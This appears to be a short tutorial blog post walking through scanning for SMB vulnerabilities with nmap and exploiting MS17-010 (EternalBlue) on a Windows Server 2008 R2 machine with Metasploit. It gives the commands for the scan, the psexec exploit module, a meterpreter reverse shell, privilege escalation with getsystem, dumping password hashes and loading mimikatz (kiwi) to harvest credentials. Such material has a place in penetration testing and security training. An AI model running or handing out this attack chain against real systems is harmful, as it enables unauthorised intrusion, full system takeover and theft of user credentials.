How to find SMB vulnerabilities with nmap & exploiting ms17-010

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How to use the Nmap Scripting Engine to test for SMB vulnerabilities:

Run nmap --script vuln -p139,445 from your terminal. Change to your target’s IP address.

example command

The result is Vulnerable to ms17-010 or CVE-2017-0143 - AKA EternalBlue which was used by the WannaCry ransomware. This exploit allows an attacker to gain full control of a server/computer hosting a share using SMBv1.

Exploiting the found vulnerability (ms17-010):

Open metasploit msfconsole type search ms17-010

As you can see, there are a few modules found. Let’s confirm our nmap finding with the metasploit scanner:

`use scanner/smb/smb_ms17_010`

`set rhosts` - change to your target's IP address.


We have now confirmed the machine is vulnerable and that it is a Windows Server 2008 R2. If we go back to our list of modules, Metasploit has a few exploits available.

I tried All and ms17_010_psexec was the only successful one. The other were not compatible or immediately bluescreened the server.

To use this exploit, type:

`use windows/smb/ms17_010_psexec` hit enter

`set LPORT 4445` switch to whatever you want. This is the port where you will be listening for the meterpreter connection.


We got a shell on the remote system.

From here you can escalate privileges if necessary:

`getuid` - if you are not SYSTEM run `getsystem`

If successful, then you can do run smart_hashdump and get all users and their password hashes. Metasploit automatically saves them to /root/.msf4/loot/ where you can crack them later.

You can also run mimikatz at this point:

`use kiwi`

When I tried creds_msv the server crashed.